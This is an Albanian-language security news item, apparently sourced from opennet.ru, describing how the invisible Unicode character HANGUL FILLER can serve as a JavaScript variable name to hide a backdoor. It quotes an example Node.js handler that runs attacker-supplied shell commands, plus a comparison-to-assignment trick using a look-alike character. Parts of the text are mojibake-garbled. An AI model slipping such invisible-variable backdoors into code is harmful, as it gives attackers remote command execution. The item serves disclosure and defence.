Pas metodës së sulmit Trojan Source, e bazuar në përdorimin e simboleve Unicode që ndryshojnë renditjen e tekstit dykahor, është publikuar një teknikë tjetër për futjen e veprimeve të fshehura, e cila është e aplikueshme për kodin në gjuhën JavaScript. Metoda e re bazohet në përdorimin e simbolit unicode «㠀» (kode 0x3164, «HANGUL FILLER»), i cili i përket kategorisë së shkronjave, por nuk ka përmbajtje të dukshme. Kategoria Unicode, në të cilën hyn ky simbol, është e lejuar që nga specifikimi ECMAScript 2015 për përdorim në emrat e variablave JavaScript, çka e mundëson krijimin e variablave të padukshme ose variablave të rinj, të padallueshëm nga variablat e tjerë në redaktorët e njohur të kodit, si Notepad++ dhe VS Code.
Si njĂ« shembull, Ă«shtĂ« dhĂ«nĂ« kodi pĂ«r platformĂ«n Node.js, nĂ« tĂ« cilin me anĂ« tĂ« njĂ« variabli, i pĂ«rbĂ«rĂ« nga njĂ« simbol «㠀», Ă«shtĂ« fshehur njĂ« backdoor, i cili lejon ekzekutimin e kodit tĂ« specifikuar nga sulmuesi: app.get(â/network_healthâ, async (req, res) => { const { timeout,ă €} = req.query; // nĂ« tĂ« vĂ«rtetĂ« Ă«shtĂ« e specifikuar «const { timeout,ă € \u3164}» const checkCommands = [ âping -c 1 google.comâ, âcurl -s http://example.com/â,ă € // pas presjes Ă«shtĂ« simboli \u3164 ];
Në shikim të parë, parametri i jashtëm përcjell vetëm vlerën e timeout-it, ndërsa lista e komandave të ekzekutimit përmban një listë fikse dhe të padëmshme. Por në të vërtetë, pas variablit timeout i jepet vlera një variabli tjetër të padukshëm me kodin e simbolit \u3164, i cili gjithashtu përfshihet në listën e komandave të ekzekutimit. Kështu, në prani të një strukture të tillë, për të aktivizuar backdoor-in dhe për të ekzekutuar kodin e tij, sulmuesi mund të dërgojë një kërkesë në formën "https://host:8080/network_health?=komanda".
Si njĂ« tjetĂ«r shembull jepet simboli «Ç» (ALVEOLAR CLICK), i cili mund tĂ« pĂ«rdoret pĂ«r tĂ« krijuar iluzionin e pragut tĂ« shenjĂ«s sĂ« thirrjes. PĂ«r shembull, shprehja «if(environmentÇ=ENV_PROD){» gjatĂ« ekzekutimit nĂ« Node.js 14 do tĂ« jetĂ« gjithmonĂ« e vĂ«rtetĂ«, pasi nĂ« tĂ« nuk bĂ«het kontroll i dallimit, por caktohet variabli «environmentÇ» vlera ENV_PROD. NdĂ«r simbolet e tjera tĂ« ngatĂ«rrueshme unicode, janĂ« tĂ« pĂ«rmendura edhe «ïŒÂ», «â», «ïŒÂ», «⩔», «âšÂ», «⫝̸», «êżÂ» dhe «â».
Burimi: opennet.ru
